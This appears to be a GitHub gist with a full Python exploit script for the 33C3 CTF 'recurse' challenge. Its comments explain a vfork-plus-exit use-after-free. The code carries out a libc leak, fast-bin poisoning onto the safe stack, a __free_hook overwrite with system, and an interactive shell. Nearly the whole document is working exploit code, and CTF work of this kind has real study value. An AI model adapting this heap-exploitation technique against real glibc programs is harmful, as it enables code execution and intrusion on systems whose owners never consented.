33c3 recurse exploit
#!/usr/bin/env python2 | |
# -*- coding: utf-8 -*- | |
# The main idea of the challenge was that you can trigger a vfork() + exit() | |
# which vfork's man page warns you about. Vforked processes shares memory | |
# with their parents, so calling exit can lead to memory corruption since it | |
# will call global destructors of the binary. | |
# In this case, there was a global c++ object with a string member variable. | |
# The destructor will free that string and turn it into a use-after-free. To | |
# make it a bit more interesting, there's nothing on the heap except for the | |
# string contents and heap metadata. Oh, and I compiled it with clang's | |
# safe-stack option which will keep separate stacks for data and return | |
# addresses. The upside is, that the offset between data stack and libc are | |
# deterministic and a leak of the latter will be enough for our exploit. | |
from pwn import * | |
import struct | |
LOCAL = False | |
GDB = False | |
LTRACE = False | |
GDB_SCRIPT = ''' | |
#set follow-fork-mode parent | |
#break __libc_message | |
#break system | |
c | |
''' | |
context.update(arch='x86_64', os='linux', terminal = ['gnome-terminal', '-e']) | |
if LOCAL: | |
BINARY = ['./recurse'] | |
if GDB: | |
r = process(BINARY) | |
gdb.attach(r, GDB_SCRIPT) | |
else: | |
if LTRACE: | |
stderr_fd = open('ltrace.out', 'w') | |
r = process(['strace', '-f'] + BINARY, stderr = stderr_fd) | |
else: | |
r = process(BINARY) | |
HOST = 'localhost' | |
else: | |
HOST = '127.0.0.1' | |
PORT = 15000 | |
r = remote(HOST, PORT) | |
def enter(name = 'AAAA'): | |
r.readuntil('iterate') | |
r.sendline('2') | |
r.readuntil('name?') | |
r.sendline(name) | |
def leave(): | |
r.readuntil('iterate') | |
r.sendline('6') | |
def trigger_uaf(): | |
# work around some bug in pwntools' process() tube | |
enter('A'*(4095*34 - 61)) | |
for i in range(33): | |
r.readn(4095) | |
r.readuntil('iterate') | |
r.sendline('3') | |
leave() | |
if LOCAL: | |
MSB = '\x7f' | |
libc_leak_off = 0x398b38 | |
free_hook = 0x39a768 | |
system = 0x3eeb0 | |
else: | |
MSB = '\x2b' | |
libc_leak_off = 0x3bdb58 | |
free_hook = 0x3bf788 | |
system = 0x43f40 | |
# Methods | |
# 1) call Run() again | |
# 2) create new challenge object | |
# 3) new process | |
# 4) iterate (no new name) | |
# 5+ leave | |
# this could be 400 bytes from the start, I'm just too lazy to change the | |
# offsets further down | |
r.readuntil('name?') | |
r.sendline('A'*16) | |
r.readuntil('iterate') | |
r.sendline('1') | |
r.readuntil('name?') | |
r.sendline('A'*400) | |
# this pushes string objects onto the stack that have the length set to 0x51 | |
# we'll need this later to fake a fast bin element | |
for i in range(20): | |
enter('X'*0x51) | |
for i in range(20): | |
leave() | |
# the first challenge object is a global variable. The bug is that option 3) | |
# will call vfork(); execve(); err() | |
# you're not allowed to exit() from inside a vfork'ed process as you share the | |
# memory with the main process and exit calls the destructors.. and err() does | |
# call exit internally. If you can make execve() fail, the global challenge | |
# object will be free'd. And we can easily make it fail by passing a very big | |
# argv[1] (140k bytes) | |
trigger_uaf() | |
# Our buffer that got free'd will be re-used by the next allocations. We need | |
# to allocate a chunk too big for the fast bin so that we get a pointer to the | |
# libc | |
iter_cnt = 8 | |
for i in range(iter_cnt): | |
enter('A'*48) | |
enter('C'*128) | |
for i in range(iter_cnt+1): | |
leave() | |
leak = r.readuntil('iterate') | |
leak_off = leak.find(MSB)-5 | |
assert leak_off >= 0 | |
libc = struct.unpack('<Q', leak[leak_off:leak_off+8])[0] - libc_leak_off | |
# this will point to a few bytes above where the last string object will be | |
# allocated on the stack, making the string object overwrite itself | |
safestack = libc - 0x3d8 - 0x30 | |
if not LOCAL: | |
safestack += 0x2bc4000 | |
print('libc: 0x{:x}'.format(libc)) | |
print('alloc at: 0x{:x}'.format(safestack)) | |
# this conveniently overwrites a fd pointer in the fast bin | |
r.sendline('1') | |
r.readuntil('name?') | |
r.sendline(flat(safestack)) | |
# spam some small allocations to make it easier to find our target | |
enter('D'*9) | |
enter('D'*9) | |
enter('D'*9) | |
enter('D'*9) | |
enter('X'*15) | |
enter('C'*81) | |
# use up the chunks in the 0x50 fast bin | |
for i in range(7): | |
enter('X'*48) | |
# the next 0x50 allocation will land on the stack at the safestack address | |
# we need to pass the size check, that's why we spammed the 0x51 byte to the | |
# stack in the beginning | |
# prepare some more fake heap metadata to survive free'ing the fake allocation | |
enter(flat(0x30)+chr(0x30)) | |
enter(flat(0x30)+chr(0x30)) | |
enter(flat(0x60)) | |
enter(flat(0x21)) | |
# this will create a 0x50 allocation that ends up on the stack | |
enter('F'*40 + chr(0xa0)) | |
# it will overwrite it's own pointer's least significant byte with a 0xa0 | |
# we can only use 0x10 aligned values since free will complain later otherwise | |
# also it needs to point to something that looks like a valid heap chunk | |
# a bit further down the stack fulfills those requirements and we can use it | |
# to overwrite the pointer of the string a few stack frames above | |
# write the address of the __free_hook onto the stack and use it to overwrite | |
# the pointer of yet another string. With that string we can finally write to | |
# the free hook. Minus some extra space for /bin/sh | |
r.readuntil('iterate') | |
r.sendline('1') | |
r.readuntil('name?') | |
r.sendline(flat(libc+free_hook-8)*5 + flat(0x30)) | |
leave() | |
leave() | |
leave() | |
leave() | |
# the last write writes to the free_hook. One more leave and it will free our | |
# controlled string which just passes it to system | |
r.readuntil('Hi, ') | |
r.sendline('1') | |
r.sendline('sh;#'.ljust(8, 'A') + flat(libc+system)) | |
r.sendline('8') | |
r.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment